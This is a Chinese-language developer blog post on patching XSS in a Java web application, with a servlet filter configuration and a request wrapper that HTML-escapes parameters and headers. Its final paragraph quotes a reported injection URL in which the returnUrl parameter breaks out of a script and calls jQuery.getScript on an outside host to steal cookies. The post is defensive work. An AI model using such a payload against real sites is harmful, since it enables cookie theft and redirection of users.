1. 程式人生 > >網站XSS漏洞攻擊如何修補

網站XSS漏洞攻擊如何修補

因為兄弟我是在國內某知名安全公司旗下的一家電商網站上班,所以不可避免的就經常被安全部門“照顧”了,公司郵箱裡經常會收到漏洞攻擊的郵件,很佩服那些能找到這些漏洞的人,但是佩服歸佩服,漏洞總得給補上吧,下面我介紹常用的xss攻擊漏洞該如何修補。

首先你得現在web.xml檔案里加上filter配置,下面配置是對所有請求生效


    <filter>
        <filter-name>xssFilter</filter-name>
        <filter-class>com.galaxy.wz.front.interceptor.XssFilter</filter-class
>
</filter> <filter-mapping> <filter-name>xssFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>

對所有請求過濾,主要是重寫了從http請求裡獲取請求引數的方法。HtmlUtils.htmlEscape()會將程式碼裡所有含html語言的字元替換成html的轉義字元,類似於<會轉化為<這種轉義,不過這種這種會把“轉化調,所以用json傳遞引數的兄弟注意會不會對以前的功能產生影響,如果怕危險,就自己手動寫程式碼替換需要替換的字元了。sql、js注入大概也就常用像> < 等字元需要替換了。

package com.galaxy.wz.front.interceptor;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

public class XssFilter implements Filter{

    public void init(FilterConfig filterConfig) throws ServletException {

    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws
IOException, ServletException { HttpServletRequest httpServletRequest = (HttpServletRequest)request; chain.doFilter(new XssRequestWrapper(httpServletRequest), response); } public void destroy() { } }
package com.galaxy.wz.front.interceptor;

import org.springframework.web.util.HtmlUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;

public class XssRequestWrapper extends HttpServletRequestWrapper {

    public XssRequestWrapper(HttpServletRequest servletRequest) {
        super(servletRequest);
    }
    @Override
    public String[] getParameterValues(String parameter) {
        String[] values = super.getParameterValues(parameter);
        if (values == null) {
            return null;
        }
        int count = values.length;
        String[] encodedValues = new String[count];
        for (int i = 0; i < count; i++) {
            encodedValues[i] = HtmlUtils.htmlEscape(values[i]);
        }
        return encodedValues;
    }
    @Override
    public String getParameter(String parameter) {
        String value = super.getParameter(parameter);
        return HtmlUtils.htmlEscape(value);
    }
    @Override
    public String getHeader(String name) {
        String value = super.getHeader(name);
        return HtmlUtils.htmlEscape(value);
    }
}

曾經收到過一個這樣的漏洞,他說攻擊者可以通過這種訪問請求:http://a.b.c/jsp/transfer.jsp?returnUrl=123%22})’;jQuery.getScript(‘http://a.b.c‘);}function x(){var x =’www.baidu.com,來完成水坑攻擊或URL定向,我查了一下,原來是原來的同事將url裡的returnUrl引數直接放到了js了,導致他這段js注入後將原來的js分成了兩個方法,而原來該執行的方法則被換成了jQuery.getScript(‘http://a.b.c‘),呼叫了攻擊者自己的請求,可以直接截獲使用者的COOKIE資訊。像這種XSS攻擊手段防不勝防,你永遠不知道攻擊者有多少種手段。。。。。。